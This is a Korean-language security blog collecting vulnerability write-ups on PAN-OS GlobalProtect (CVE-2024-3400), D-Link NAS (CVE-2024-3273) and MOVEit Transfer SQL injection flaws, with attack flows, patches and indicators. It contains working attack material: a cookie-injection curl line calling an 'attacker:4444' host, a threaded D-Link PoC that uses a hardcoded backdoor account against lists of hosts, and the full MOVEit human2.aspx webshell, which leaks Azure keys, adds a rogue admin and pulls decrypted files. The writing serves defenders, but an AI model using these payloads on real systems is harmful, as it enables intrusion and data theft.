1. PAN-OS

- Palo Alto Networks 사에서 판매하는 장비들에 탑재되어 있는 운영체제

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2024-3400

 

- Palo Alto Networks PAN-OS의 GlobalProtect 기능에서 발생하는 Command Injection Zero-Day 취약점 (CVSS: 10.0)

> 입력값에 대한 유효성 검증 과정이 잘못 구현되어 있거나 누락되어 발생하는 취약점으로 판단됨

> 인증되지 않은 공격자가 방화벽에서 root 권한을 가진 임의 코드를 실행할 수 있음

> 현재 UTA0218 공격 그룹에서 방화벽 공격에 실제 사용하고 있는 취약점

영향받는 버전
- PAN-OS 11.1 ~ 11.1.2-h3 이전 버전
- PAN-OS 11.0 ~ 11.0.4-h1 이전 버전
- PAN-OS 10.2 ~ 10.2.9-h1 이전 버전

 

2.1 주요내용 [2]

[사진 2] CVE-2024-3400 타임라인

 

- 보안 업체 Volexity는 NSM(Network Security Monitoring) 고객의 방화벽에서 의심스러운 네트워크 트래픽 경고 확인

Palo Alto Networks PAN-OS의 GlobalProtect 기능에서 발견된 제로데이 취약점을 악용

> 공격 그룹 UTA0218이 사용자 정의 Python 백도어 UPSTYLE을 방화벽에 설치하려는 시도를 확인

> 해당 백도어를 통해 장치에 추가 명령을 실행

UPSTYLE 백도어 - update[.]py를 사용해 해당 백도어를 유포
> /usr/lib/python3.6/site-packages/system.pth 경로에 백도어 배포
> 백도어는 Python으로 작성되어 있으며, base64 encoded 되어있음

- 동작 과정
① 공격자는 특정 패턴을 포함하며, 404 Error를 반환하는 요청 전송
② Error log(/var/log/pan/sslvpn_ngx_error.log)에서 특정 패턴 검색
③ 특정 패턴(명령)을 디코딩 및 실행
④ 명령 실행 결과를 /var/appweb/sslvpndocs/global-protect/portal/css/bootstrap.min.css에 작성
⑤ 공격자는 /bootstrap.min.css 경로로 요청 전송
⑥ Error log에서 명령 삭제 및 15초 후 /bootstrap.min.css 원본으로 복구

※ 두 가지 변형이 확인되었으나, 동작 과정에서 큰 차이는 보이지 않음

[사진 3] UPSTYLE 백도어 동작 과정

 

- 익스플로잇에 성공한 후 공격을 위한 추가 툴을 다운로드

> patch 파일의 내용을 지속적으로 가져와 실행하여 지속성 유지

> patch 파일이 실행되면 policy 파일을 다운로드 및 실행하며, 총 6개의 policy 파일을 확인

> 이후 공격자는 Chrome 및 Edge 로그인 데이터, 쿠키, PC 정보, 자격 증명 정보 등을 탈취

구분 설명
patch - update.cron 파일 존재 여부 확인
> 없을 경우 파일을 생성 및 실행하여 cron 작업을 설정
> policy 파일을 다운로드하고, 60초마다 bash를 통해 실행

- 공격자는 추가 공격을 위해 수동으로 policy 파일을 작성
> C2 서버에 대한 접근 제어 목록을 수동으로 관리하는 것으로 확인
policy v1 - python으로 작성된 on-line 리버스 셸
policy v2 - 공격 명령 실행 결과가 포함된 CSS 파일을 제거
- 방화벽 장치의 설정을 새 파일에 복사하여 CSS 파일에 장치의 호스트 이름을 저장
> 해당 파일은 공격자가 접근 가능하도록 외부에서 액세스 가능한 디렉터리에 저장
policy v3 - 이전 단계에서 생성된 CSS 파일을 제거하는 데 사용
policy v4 - GOST 터널링 다운로드 및 실행하여, SOCKS5과 RTCP 터널 설정 시도
policy v5 - v4의 수정된 버전으로, Base64 인코딩 형식으로 GOST 터널링 다운로드
policy v6 - SSH를 통해 작동하는 오픈 소스 리버스 셸을 다운로드 및 실행하는 명령이 포함

 

2.2 취약점 분석 [3]

[사진 4] 취약한 함수

 

- send_file()는 서버에 파일을 업로드하기 위해 curl_cmd 문자열을 구성한 후 pansys() 호출 및 curl_cmd 실행

> pansys() 호출시 shell 변수를 True로 설정하여 셸 기능에 액세스할 수 있는 것으로 판단됨

[사진 5] SESSID 값 저장

 

- SESSID 쿠키에 설정된 값을 /tmp/sslvpn 경로에 session_ 문자열을 붙여 저장

> SESSID 쿠키에 임의의 데이터를 전달할 경우 /tmp/sslvpn에 "session_임의의 데이터" 저장

> SESSID 쿠키에 디렉터리 이동 문자 (../)를 추가할 경우 "seesion_" 문자가 추가되지 않음

curl hxxps://hostname/global-protect/login.esp -k -H 'Cookie: SESSID=./../../../opt/panlogs/tmp/device_telemetry/hour/aaa`curl${IFS}attacker:4444?user=$(whoami)`'

 

[사진 6] Exploit 결과

 

- 공격자는 2가지 버그를 결합해 취약한 장치에서 명령을 실행 [4]

> 1단계: SESSID에 셸 명령을 포함해 GlobalProtect에 전송하여 명령이 포함된 파일 생성

> 2단계: cron 작업을 통해 공격자가 제공한 명령이 실행

[사진 7] Expoloit 요약

2.3 PoC

- 깃허브에서 등록된 PoC는 404 Error 반환

> 일부 확인되는 PoC에서는 POST 요청의 데이터에 xml 포맷으로 명령어 전달 [5]

def exploit_firewall(target_ip, payload, root_ca=None):
    url = f"https://{target_ip}/api/"

    data = f"""<?xml version="1.0" encoding="UTF-8"?>
    <request>
        <op cmd="test" />
        <cmd code="ping">{payload}</cmd>
    </request>"""

    headers = {
        "User-Agent": "PAN-OS-Exploit",
        "Content-Type": "application/xml"
    }

    try:
        if root_ca:
            response = requests.post(url, headers=headers, data=data, timeout=5, verify=root_ca)
        else:
            response = requests.post(url, headers=headers, data=data, timeout=5, verify=False)

 

3. 대응방안

- 벤더사 제공 보안 업데이트 적용 [6]

> main_isValidSessionId()를 추가하여 SESSID 값을 추출하며 유효한 UUID 값인지 확인

> [사진 4] pansys() 호출시 shell 변수 값을 False로 수정

제품명 영향받는 버전 해결 버전
PAN-OS 11.1 ~ 11.1.2-h3 이전 11.1.2-h3 이상
11.0 ~ 11.0.4-h1 이전 11.0.4-h1 이상
10.2 ~ 10.2.9-h1 이전 10.2.9-h1 이상

 

- 장치 침해 징후 식별

구분 설명
네트워크 트래픽
모니터링
- wget 명령을 이용한 특정 IP, URL에 대한 요청
- GlobalProtect 어플라이언스에서 시작된 내부 여러 시스템에 대한 SMB/RDP 연결
- Chrome 또는 Edge 데이터 또는 ntds[.]dit 파일의 SMB 파일 전송
방화벽 로그 분석 - Palo Alto Networks와 Volexity는 분석을 위한 기술 지원 제공
휘발성 메모리 수집

 

- 관련 침해지표 보안 장비 등록 [7][8]

 

4. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2024-3400
[2] https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/

[3] https://attackerkb.com/topics/SSTk336Tmf/cve-2024-3400/rapid7-analysis

[4] https://www.paloaltonetworks.com/blog/2024/04/more-on-the-pan-os-cve/

[5] https://hackyboiz.github.io/2024/04/14/j0ker/2024-04-13/
[6] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71402&menuNo=205020

[7] https://github.com/volexity/threat-intel/blob/main/2024/2024-04-12%20Palo%20Alto%20Networks%20GlobalProtect/indicators/rules.yar

[8] https://github.com/volexity/threat-intel/blob/main/2024/2024-04-12%20Palo%20Alto%20Networks%20GlobalProtect/indicators/iocs.csv

[9] https://www.boannews.com/media/view.asp?idx=128841&page=1&kind=1
[10] https://www.boannews.com/media/view.asp?idx=128833&page=1&kind=1
[11] https://www.dailysecu.com/news/articleView.html?idxno=155122

1. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2024-3273

 

- 취약한 버전의 D-Link 사의 여러 NAS 제품들에서 발생하는 임의 명령 주입 공격 취약점

영향받는 버전
- DNS-320L 버전 1.11, 버전 1.03.0904.2013, 버전 1.01.0702.2013
- DNS-325 버전 1.01
- DNS-327L 버전 1.09, 버전 1.00.0409.2013
- DNS-340L 버전 1.08

 

[사진 2] 인터넷에 노출된 취약한 D-Link NAS 장치 [2]

 

2. 취약점 상세 [2]

- 취약점은 /cgi-bin/nas_sharing.cgi 엔드포인트에 존재

> /cgi-bin/nas_sharing.cgi에 하드코딩된 자격 증명을 악용해 권한 없는 사용자가 시스템에 접근하는 백도어로 사용 

> 해당 엔드포인트에 user, passwd 매개변수와 system 매개변수를 설정해 GET 요청을 전송

① 백도어: 하드코딩된 user, passwd 매개변수를 이용

② 명령주입: system 매개변수를 이용하며, base64 인코딩을 적용해 전달

GET /cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd=15&system=<BASE64_ENCODED_COMMAND_TO_BE_EXECUTED>

 

[사진 3] Exploit 결과

 

3. PoC [3]

- cgi-bin/nas_sharing.cgi URL로 GET 요청을 전송

> user 매개변수의 값을 messagebus, passwd 매개변수의 값을 빈 값으로 설정

> system 매개변수의 값을 base64로 인코딩하여 전송

import requests
import base64
import threading

# Utility function for Base64 encoding
def encode_base64(command):
    return base64.b64encode(command.encode()).decode()

# Watermark banner
print("""
┏┓┓┏┏┓  ┏┓┏┓┏┓┏┓  ┏┓┏┓━┓┏┓
┃ ┃┃┣ ━━┏┛┃┫┏┛┃┃━━ ┫┏┛ ┃ ┫
┗┛┗┛┗┛  ┗━┗┛┗━┗╋  ┗┛┗━ ╹┗┛
""")

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 YaBrowser/19.6.1.153 Yowser/2.5 Safari/537.36",
    "Accept-Encoding": "identity"
}

# Use a session for requests
session = requests.Session()

# Lock for file writing
file_write_lock = threading.Lock()

def execute_command(host, command=None, print_response=True):
    if command is None:
        command = 'id'
    encoded_command = encode_base64(command)
    url = f"http://{host}/cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd=15&system={encoded_command}"
    
    try:
        response = session.get(url, headers=headers, timeout=10)
        if 'root' in response.text:
            with file_write_lock:
                with open('vulnerables.txt', 'a') as f:
                    f.write(host + '\n')
            print(f"Host {host} is vulnerable.")
        elif print_response:
            print(f"Response from {host}:")
            print(response.text)
    except requests.Timeout:
        print(f"Request timed out for host {host}.")
    except requests.ConnectionError as e:
        print(f"Connection error for host {host}.")
    except Exception as e:
        print(f"An error occurred for host {host}.")

def execute_command_multiple(file_path, export):
    with open(file_path, 'r') as file:
        threads = []
        for line in file:
            host = line.strip().replace("\ufeff", "")
            thread = threading.Thread(target=execute_command, args=(host, None, False))
            thread.start()
            threads.append(thread)

        # Wait for all threads to complete
        for thread in threads:
            thread.join()

def main():
    option = input("Choose an option (1: Single Host, 2: Multiple Hosts): ")
    
    if option == '1':
        host = input("Enter the host: ")
        command = input("Enter the command to run: ")
        execute_command(host, command)
    elif option == '2':
        file_path = input("Enter the file path containing hosts: ")
        export = input("Export vulnerable host to vulnerables.txt? (y/n): ").lower()
        execute_command_multiple(file_path, export)
    else:
        print("Invalid option.")

if __name__ == "__main__":
    main()

 

4. 대응방안

- 해당 NAS 제품은 EOL(End Of Life, 지원 종료)에 도달해 더 이상 지원되지 않는 장비

> 벤더사는 관련 제품을 폐기하고 펌웨어 업데이트를 지원하는 제품으로 교체할 것을 권장 [4]

 

- 보안 장비 탐지 정책 적용

> cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd

 

5. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2024-3273
[2] https://github.com/netsecfish/dlink?tab=readme-ov-file
[3] https://github.com/adhikara13/CVE-2024-3273
[4] https://supportannouncement.us.dlink.com/security/publication.aspx?name=SAP10383
[5] https://www.bleepingcomputer.com/news/security/over-92-000-exposed-d-link-nas-devices-have-a-backdoor-account/
[6] https://www.boannews.com/media/view.asp?idx=128614&page=4&kind=1

1. 개요

- CVE-2023-34362 이후 새로운 제로데이 취약점이 발견되는 중

 

2. 취약점

2.1 CVE-2023-35036

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-35036 [1]

- 취약한 버전의 MOVEit Transfer에서 발생하는 SQL Injection 취약점

- 공격자는 MOVEit Transfer 앱에 조작된 페이로드를 전달하여, 최종적으로 MOVEit DB 컨텐츠의 수정 및 공개가 가능

영향받는 저번
- MOVEit Transfer 2023.0.x (15.0.x)
- MOVEit Transfer 2022.1.x (14.1.x)
- MOVEit Transfer 2022.0.x (14.0.x)
- MOVEit Transfer 2021.1.x (13.1.x)
- MOVEit Transfer 2021.0.x (13.0.x)
- MOVEit Transfer 2020.1.x (12.1)
- MOVEit Transfer 2020.0.x (12.0) 혹은 그 이전버전
- MOVEit Cloud

 

- 구체적인 PoC는 확인되지 않으나 아르헨티나 보안 연구원 MCKSys이 PoC 화면 공개 [2]

> 관련 내용 Github 업로드 예정

[사진 2] CVE-2023-35036 PoC 화면

 

- 현재 벤더사 홈페이를 통해 업데이트가 제공됨 [3]

> 해당 패치는 CVE-2023-34362 관련 패치를 포함한 패치

취약한 버전 패치 버전
MOVEit Transfer 2023.0.x (15.0.x) MOVEit Transfer 2023.0.2 (15.0.2)
MOVEit Transfer 2022.1.x (14.1.x) MOVEit Transfer 2022.1.6 (14.1.6)
MOVEit Transfer 2022.0.x (14.0.x) MOVEit Transfer 2022.0.5 (14.0.5)
MOVEit Transfer 2021.1.x (13.1.x) MOVEit Transfer 2021.1.5 (13.1.5)
MOVEit Transfer 2021.0.x (13.0.x) MOVEit Transfer 2021.0.7 (13.0.7)
MOVEit Transfer 2020.1.x (12.1) Progress 웹사이트 참고 [4]
MOVEit Transfer 2020.0.x (12.0) 및 이전 버전 가능한 상위 버전 [5]
MOVEit Cloud  14.1.6.97 또는 14.0.5.45
테스트버전: 15.0.2.39

 

2.2 CVE-2023-35708

[사진 3] https://nvd.nist.gov/vuln/detail/CVE-2023-35708 [6]

- 취약한 버전의 MOVEit Transfer에서 발생하는 SQL Injection 취약점

- 공격자는 권한 상승 및 이후 추가적인 익스플로잇이 가능해짐

- 구체적인 PoC는 확인되지 않음

영향받는 버전
- MOVEit Transfer 2023.0.x (15.0.x)  
- MOVEit Transfer 2022.1.x (14.1.x)  
- MOVEit Transfer 2022.0.x (14.0.x)  
- MOVEit Transfer 2021.1.x (13.1.x)  
- MOVEit Transfer 2021.0.x (13.0.x)  
- MOVEit Transfer 2020.1.x (12.1)  
- MOVEit Transfer 2020.0.x (12.0) 혹은 그 이전버전
- MOVEit Cloud  

 

- 현재 벤더사 홈페이를 통해 업데이트가 제공됨 [7]

취약한 버전 패치 버전
MOVEit Transfer 2023.0.x (15.0.x) MOVEit Transfer 2023.03 (15.0.3)
MOVEit Transfer 2022.1.x (14.1.x) MOVEit Transfer 2022.1.7 (14.1.7)
MOVEit Transfer 2022.0.x (14.0.x) MOVEit Transfer 2022.0.6 (14.0.6)
MOVEit Transfer 2021.1.x (13.1.x) MOVEit Transfer 2021.1.6 (13.1.6)
MOVEit Transfer 2021.0.x (13.0.x) MOVEit Transfer 2021.0.8 (13.0.8)
MOVEit Transfer 2020.1.x (12.1) Progress 웹사이트 참고 [4]
MOVEit Transfer 2020.0.x (12.0) 및 이전 버전 가능한 상위 버전 [5]
MOVEit Cloud 14.1.6.97 또는 14.0.5.45
테스트버전: 15.0.2.39

 

- 업데이트 적용 불가 시 벤더사 권장 사항

> MOVEit Transfer의 HTTP 및 HTTPS 트래픽 비활성화

> 사용자의 경우 SFTP 및 FTP/s 프로토콜을 이용해 파일 전송 가능
> 관리자의 경우 원격 접속을 통해 서버에 접근한 후 hxxps://localhost/에 엑세스

 

3. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2023-35036
[2] https://twitter.com/MCKSysAr/status/1669175203690160128?ref_src=twsrc%5Etfw
[3] https://community.progress.com/s/article/MOVEit-Transfer-Critical-Vulnerability-CVE-2023-35036-June-9-2023
[4] https://community.progress.com/s/article/Vulnerability-May-2023-Fix-for-MOVEit-Transfer-2020-1-12-1
[5] https://community.progress.com/s/article/Upgrade-and-or-Migration-Guide-for-MOVEit-Automation-and-MOVEit-Transfer
[6] https://nvd.nist.gov/vuln/detail/CVE-2023-35708
[7] https://community.progress.com/s/article/MOVEit-Transfer-Critical-Vulnerability-15June2023

1. MOVEit Transfer [1]

- 중요한 데이터의 안전한 협업 및 자동화된 파일 전송기능을 제공하는 MFT(Managed File Transfer) 소프트웨어

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-34362#close [2]

- 취약한 버전의 MOVEit Transfer에서 발생하는 SQL Injection 취약점

- 해당 취약점을 악용해 웹쉘 업로드가 가능하며, 웹쉘을 통해 DB 조작, 정보 열람, 파일 다운로드 등 악성행위가 가능함

- MOVEit Transfer를 사용하는 기업은 전 세계 수천개가 넘으며, 이 중에는 BBC, 영국항공, 노바스코티아 주 정부가 포함되어 있음

- 현재 관련된 PoC 등은 확인되지 않으나, Huntress에서 관련 영상 공개 [3]

> 보안 업체가 Horizon3ai와 Rapid7가 각각 CVE-2023-34362의 익스플로잇 방법을 개발해 발표 [16][17][18]

영향받는 버전
- MOVEit Transfer 2023.0.0 (15.0)
- MOVEit Transfer 2022.1.x (14.1)
- MOVEit Transfer 2022.0.x (14.0)
- MOVEit Transfer 2021.1.x (13.1)
- MOVEit Transfer 2021.0.x (13.0)
- MOVEit Transfer 2020.1.x (12.1)
- MOVEit Transfer 2020.0.x (12.0) 혹은 그 이전버전
- MOVEit Cloud

 

- 23.06.10 현재 인터넷에 노출된 MOVEit Transfer 인스턴스는 약 2,500개 [4]

[사진 2] Shodan 검색 결과

 

- GreyNoise에서는 CVE-2023-34362 관련 스캐너를 공개 [5]

[사진 3] GreyNoise의 CVE-2023-34362 관련 스캐너

 

2.1 CL0P 랜섬웨어 그룹 [6]

- MS에서 2023.06.02 CL0P 랜섬웨어 그룹의 소행으라고 밝혔으며, 06.05 CL0P이 블로그에 관련 성명을 게시

> 보안 외신 SC Media에 따르면 CL0P 랜섬웨어 그룹은 2021년부터 연구하였고, 그 기간 동안 여러 기업들을 해당 취약점을 이용해 침해

[사진 4] CL0P 랜섬웨어 그룹의 MOVEit 캠페인 관련 게시글

 

[사진 5] MOVEit 익스플로잇 타임라인

 

- 여러 보안 기업에서 분석한 결과 공격 흐름은 다음과 같음

① SQL Injection 취약점 악용

> SQL Injection 취약점을 이용해 웹쉘 human2.aspx 업로드

 

② 웹쉘 통신 및 악성 행위 수행 [7]

> "X-siLock-Comment" 헤더를 통해 웹쉘과 통신

헤더 옵션 설명
X-siLock-Step1 -1 - AppendHeader 응답 헤더를 통해 Azure 정보 유출
- MOVEit에 존재하는 모든 파일, 파일 소유자, 파일 사이즈 등의 정보를 GZIP으로 압축하여 반환
-2 - users 데이터베이스에서 RealName이 Health Check Service인 사용자 삭제
X-siLock-Step2
("folderid"  지정)
특정 값 지정 - 해당 값과 fileid값(X-siLock-Step3)이 지정 되었을 경우 해당 값으로 설정된 파일을 검색하고 GZIP으로 압축하여 반환
NULL - 해당 값과 fileid 값(X-siLock-Step3)이 지정되지 않을 경우(null) 권한 수준이 30인 기존 계정 식별을  시도하고, 그렇지 않을 경우 user 데이터베이스에 새로운 Health Check Service 관리용 사용자를 추가
X-siLock-Step3
("fileid" 값 지정)
특정 값 지정 - 해당 값과 folderid값(X-siLock-Step2)이 지정 되었을 경우 해당 값으로 설정된 파일을 검색하고 GZIP으로 압축하여 반환
NULL - 해당 값과 folderid값(X-siLock-Step2)이 지정되지 않을 경우(null) 권한 수준이 30인 기존 계정 식별을  시도하고, 그렇지 않을 경우 user 데이터베이스에 새로운 Health Check Service 관리용 사용자를 추가
<%@ Page Language="C#" %>

<%@ Import Namespace="MOVEit.DMZ.ClassLib" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Contracts.Infrastructure.Data" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Files" %>
<%@ Import Namespace="MOVEit.DMZ.Cryptography.Contracts" %>
<%@ Import Namespace="MOVEit.DMZ.Core.Cryptography" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Contracts.FileSystem" %>
<%@ Import Namespace="MOVEit.DMZ.Core" %>
<%@ Import Namespace="MOVEit.DMZ.Core.Data" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Users" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Contracts.Users.Enum" %>

<%@ Import Namespace="MOVEit.DMZ.Application.Contracts.Users" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>

<script runat="server">  
private Object connectDB() {
    var MySQLConnect = new DbConn(SystemSettings.DatabaseSettings());
    bool flag = false;
    string text = null;
    flag = MySQLConnect.Connect();
    if (!flag) {
        return text;
    }
    return MySQLConnect;
}
private Random random = new Random();
public string RandomString(int length) {
    const string chars = "abcdefghijklmnopqrstuvwxyz0123456789";
    return new string(Enumerable.Repeat(chars, length).Select(s => s[random.Next(s.Length)]).ToArray());
}
protected void Page_load(object sender, EventArgs e) {
    var pass = Request.Headers["X-siLock-Comment"];
    if (!String.Equals(pass, "REDACTEDREDACTEDREDACTEDREDACTED")) {
        Response.StatusCode = 404;
        return;
    }
    Response.AppendHeader("X-siLock-Comment", "comment");
    var instid = Request.Headers["X-siLock-Step1"];
    string x = null;
    DbConn MySQLConnect = null;
    var r = connectDB();
    if (r is String) {
        Response.Write("OpenConn: Could not connect to DB: " + r);
        return;
    }
    try {
        MySQLConnect = (DbConn) r;
        if (int.Parse(instid) == -1) {
            string azureAccout = SystemSettings.AzureBlobStorageAccount;
            string azureBlobKey = SystemSettings.AzureBlobKey;
            string azureBlobContainer = SystemSettings.AzureBlobContainer;
            Response.AppendHeader("AzureBlobStorageAccount", azureAccout);
            Response.AppendHeader("AzureBlobKey", azureBlobKey);
            Response.AppendHeader("AzureBlobContainer", azureBlobContainer);
            var query = "select f.id, f.instid, f.folderid, filesize, f.Name as Name, u.LoginName as uploader, fr.FolderPath , fr.name as fname from folders fr, files f left join users u on f.UploadUsername = u.Username where f.FolderID = fr.ID";
            string reStr = "ID,InstID,FolderID,FileSize,Name,Uploader,FolderPath,FolderName\n";
            var set = new RecordSetFactory(MySQLConnect).GetRecordset(query, null, true, out x);
            if (!set.EOF) {
                while (!set.EOF) {
                    reStr += String.Format("{0},{1},{2},{3},{4},{5},{6},{7}\n", set["ID"].Value, set["InstID"].Value, set["FolderID"].Value, set["FileSize"].Value, set["Name"].Value, set["uploader"].Value, set["FolderPath"].Value, set["fname"].Value);
                    set.MoveNext();
                }
            }
            reStr += "----------------------------------\nFolderID,InstID,FolderName,Owner,FolderPath\n";
            String query1 = "select ID, f.instID, name, u.LoginName as owner, FolderPath from folders f left join users u on f.owner = u.Username";
            set = new RecordSetFactory(MySQLConnect).GetRecordset(query1, null, true, out x);
            if (!set.EOF) {
                while (!set.EOF) {
                    reStr += String.Format("{0},{1},{2},{3},{4}\n", set["id"].Value, set["instID"].Value, set["name"].Value, set["owner"].Value, set["FolderPath"].Value);
                    set.MoveNext();
                }
            }
            reStr += "----------------------------------\nInstID,InstName,ShortName\n";
            query1 = "select id, name, shortname from institutions";
            set = new RecordSetFactory(MySQLConnect).GetRecordset(query1, null, true, out x);
            if (!set.EOF) {
                while (!set.EOF) {
                    reStr += String.Format("{0},{1},{2}\n", set["ID"].Value, set["name"].Value, set["ShortName"].Value);
                    set.MoveNext();
                }
            }
            using(var gzipStream = new GZipStream(Response.OutputStream, CompressionMode.Compress)) {
                using(var writer = new StreamWriter(gzipStream, Encoding.UTF8)) {
                    writer.Write(reStr);
                }
            }
        } else if (int.Parse(instid) == -2) {
            var query = String.Format("Delete FROM users WHERE RealName='Health Check Service'");
            new RecordSetFactory(MySQLConnect).GetRecordset(query, null, true, out x);
        } else {
            var fileid = Request.Headers["X-siLock-Step3"];
            var folderid = Request.Headers["X-siLock-Step2"];
            if (fileid == null && folderid == null) {
                SessionIDManager Manager = new SessionIDManager();
                string NewID = Manager.CreateSessionID(Context);
                bool redirected = false;
                bool IsAdded = false;
                Manager.SaveSessionID(Context, NewID, out redirected, out IsAdded);
                string username = "";
                var query = String.Format("SELECT Username FROM users WHERE InstID={0} AND Permission=30 AND Status='active' and Deleted=0", int.Parse(instid));
                var set = new RecordSetFactory(MySQLConnect).GetRecordset(query, null, true, out x);
                var query1 = "";
                if (!set.EOF) {
                    username = (String) set["Username"].Value;
                } else {
                    username = RandomString(16);
                    query1 += String.Format("INSERT INTO users (Username, LoginName, InstID, Permission, RealName, CreateStamp, CreateUsername, HomeFolder, LastLoginStamp, PasswordChangeStamp) values ('{0}','{1}',{2},{3},'{4}', CURRENT_TIMESTAMP,'Automation',(select id from folders where instID=0 and FolderPath='/'), CURRENT_TIMESTAMP, CURRENT_TIMESTAMP);", username, "Health Check Service", int.Parse(instid), 30, "Health Check Service", "Automation", "Services");
                }
                query1 += String.Format("insert into activesessions (SessionID, Username, LastTouch, Timeout, IPAddress) VALUES ('{0}','{1}',CURRENT_TIMESTAMP, 9999, '127.0.0.1')", NewID, username);
                new RecordSetFactory(MySQLConnect).GetRecordset(query1, null, true, out x);
            } else {
                DataFilePath dataFilePath = new DataFilePath(int.Parse(instid), int.Parse(folderid), fileid);
                SILGlobals siGlobs = new SILGlobals();
                siGlobs.FileSystemFactory.Create();
                EncryptedStream st = Encryption.OpenFileForDecryption(dataFilePath, siGlobs.FileSystemFactory.Create());
                Response.ContentType = "application/octet-stream";
                Response.AppendHeader("Content-Disposition", String.Format("attachment; filename={0}", fileid));
                using(var gzipStream = new GZipStream(Response.OutputStream, CompressionMode.Compress)) {
                    st.CopyTo(gzipStream);
                }
            }
        }
    } catch (Exception) {
        Response.StatusCode = 404;
        return;
    } finally {
        MySQLConnect.Disconnect();
    }
    return;
}
</script>

 

- 시나리오를 기반으로 침해를 테스트한 시스템의 로그를 검토한 결과 해당 공격과 관련된 로그는 다음과 유사할 것으로 판단 됨

2023-05-30 17:05:50 192.168.###.### GET / - 443 - 5.252.190.181 user-agent - 200
2023-05-30 17:06:00 192.168.###.### POST /guestaccess.aspx - 443 - 5.252.191.14 user-agent - 200
2023-05-30 17:06:00 192.168.###.### POST /api/v1/token - 443 - 5.252.191.14 user-agent - 200
2023-05-30 17:06:02 192.168.###.### GET /api/v1/folders - 443 - 5.252.191.14 user-agent - 200
2023-05-30 17:06:02 192.168.###.### POST /api/v1/folders/605824912/files uploadType=resumable 443 - 5.252.191.14 user-agent - 200
2023-05-30 17:06:02 ::1 POST /machine2.aspx - 80 - ::1 CWinInetHTTPClient - 200
2023-05-30 17:06:02 192.168.###.### POST /moveitisapi/moveitisapi.dll action=m2 443 - 5.252.191.14 user-agent - 200
2023-05-30 17:06:04 192.168.###.### POST /guestaccess.aspx - 443 - 5.252.190.233 user-agent - 200
2023-05-30 17:06:08 192.168.###.### PUT /api/v1/folders/605824912/files uploadType=resumable&fileId=963061209 443 - 5.252.190.233 user-agent - 500
2023-05-30 17:06:08 ::1 POST /machine2.aspx - 80 - ::1 CWinInetHTTPClient - 200
2023-05-30 17:06:08 192.168.###.### POST /moveitisapi/moveitisapi.dll action=m2 443 - 5.252.190.233 user-agent - 200
2023-05-30 17:06:11 192.168.###.### POST /guestaccess.aspx - 443 - 5.252.190.116 user-agent - 200
2023-05-30 17:06:21 192.168.###.### GET /human2.aspx - 443 - 5.252.191.88 user-agent - 404

> moveitisapi.dll은 특정 헤더에서 요청될 경우 SQL 인젝션을 수행하기 위해 사용

⒜ 사용자 요청에 action=m2 매개변수를 포함하는 경우 action_m2 함수를 호출

⒝ 해당 함수는 전달받은 X-siLock-Transaction 헤더가 folder_add_by_path와 일치여부 확인 후 일치할 경우 machine2.aspx에 사용자 요청 포워딩

⒞ moveitisapi.dll에서 X-siLock-Transaction 헤더를 추출하여 folder_add_by_path와 값을 비교하는 함수에 버그 존재

⒟ 공격자는 xX-siLock-Transaction=folder_add_by_path 등의 헤더를 제공해 헤더가 잘못 추출되도록 유도

⒠ 잘못 추출된 헤더에 의해 machine2.aspx에 session_setvars 트랜잭션을 전달하여 SetAllSessionVarsFromHeaders() 함수 호출 및 구문 분석 진행

⒡ 이때, X-siLock-SessVar0: MyUsername: sysadmin은 세션의 사용자 이름을 sysadmin으로 설정하며, 변수를 설정할 수 있는 엑세스 권한이 부여

> guestaccess.aspx는 세션을 준비하고 CSRF 토큰 및 기타 필드 값을 추출하여 추가 액션을 수행하는 데 사용

⒜ 취약한 UserGetUsersWithEmailAddress() 함수는 트렌젝션이 secmsgpost인 경우 인증을 수행하지 않고 guestaccess.aspx 호출

※ 관련 함수 Call-chain

guestaccess.aspx -> SILGuestAccess -> SILGuestAccess.PerformAction() -> MsgEngine.MsgPostForGuest() -> UserEngine.UserGetSelfProvisionUserRecipsWithEmailAddress() -> UserEngine.UserGetUsersWithEmailAddress()

 

3. 대응방안

① 최신 업데이트 적용 [8]

> 23.06.12 보안 기업 Huntress에 의해 두 번째 제로데이 취약점(CVE-2023-35036)이 발견되었으며, 벤더사에서 관련 패치 적용

> 따라서, 서둘러 패치를 적용해야할 필요가 있음

※ MOVEit Cloud의 경우 클라우드 서비스이기 때문에 사용자들이 특별히 패치를 다운로드 받아 적용하지는 않아도 됨

※ 보안 업체의 연구에 따르면 해당 패치는 모든 경우에서 인수를 이스케이프 하므로, 취약점에 적절히 대응하는 것으로 확인

취약한 버전 패치 버전
MOVEit Transfer 2023.0.0(15.0) MOVEit Transfer 2023.0.1
MOVEit Transfer 2022.1.x(14.1) MOVEit Transfer 2022.1.5
MOVEit Transfer 2022.0.x(14.0) MOVEit Transfer 2022.0.4
MOVEit Transfer 2021.1.x(13.1) MOVEit Transfer 2021.1.4
MOVEit Transfer 2021.0.x(13.0) MOVEit Transfer 2021.0.6
MOVEit Transfer 2020.1.x(12.1) Progress 웹사이트 참고 [9]
MOVEit Transfer 2020.0.x(12.0) 및 이전 버전 가능한 상위 버전
MOVEit Cloud 14.1.4.94 또는 14.0.3.42

 

> machine2.aspx에서 사용하던 SetAllSessionVarsFromHeaders() 함수를 제거

  public bool SetAllSessionVarsFromHeaders(string ServerVars)
    {
      bool flag = true;
      string[] strArray = Strings.Split(ServerVars, "\r\n");
      int num1 = Strings.Len("X-siLock-SessVar");
